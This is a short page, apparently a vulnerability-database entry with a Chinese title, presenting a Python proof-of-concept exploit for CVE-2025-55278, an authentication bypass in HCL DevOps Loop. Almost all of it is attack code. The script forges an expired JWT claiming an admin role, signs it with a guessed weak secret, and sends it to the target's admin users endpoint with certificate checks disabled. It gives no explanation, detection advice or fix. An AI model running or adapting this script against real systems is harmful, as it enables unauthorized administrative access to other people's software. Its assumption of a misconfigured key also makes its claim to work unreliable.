CVE-2025-55278 HCL DevOps Loop API认证中间件漏洞

import jwt import requests import json from datetime import datetime, timedelta # CVE-2025-55278 PoC - HCL DevOps Loop Authentication Bypass # This PoC demonstrates exploitation of improper token validation TARGET_URL = "https://target-hcl-devops-loop.example.com/api/v2" def create_tampered_token(): """ Generate a tampered JWT token with expired timestamp and modified claims """ # Original token structure (obtained through other means) header = { "alg": "HS256", "typ": "JWT" } # Tampered payload with expired timestamp payload = { "sub": "attacker", "role": "admin", "exp": int((datetime.utcnow() - timedelta(days=365)).timestamp()), # Expired "iat": int((datetime.utcnow() - timedelta(days=365)).timestamp()), "iss": "HCL-DevOps-Loop" } # Sign with a weak or known key (if key is misconfigured) secret_key = "weak-secret-key" token = jwt.encode(payload, secret_key, algorithm="HS256") return token def exploit(): """ Exploit the authentication bypass vulnerability """ tampered_token = create_tampered_token() headers = { "Authorization": f"Bearer {tampered_token}", "Content-Type": "application/json" } # Attempt to access privileged endpoint with tampered token target_endpoint = f"{TARGET_URL}/admin/users" try: response = requests.get(target_endpoint, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] VULNERABLE: Tampered token accepted!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": print("CVE-2025-55278 - HCL DevOps Loop Authentication Bypass PoC") print("=" * 60) exploit()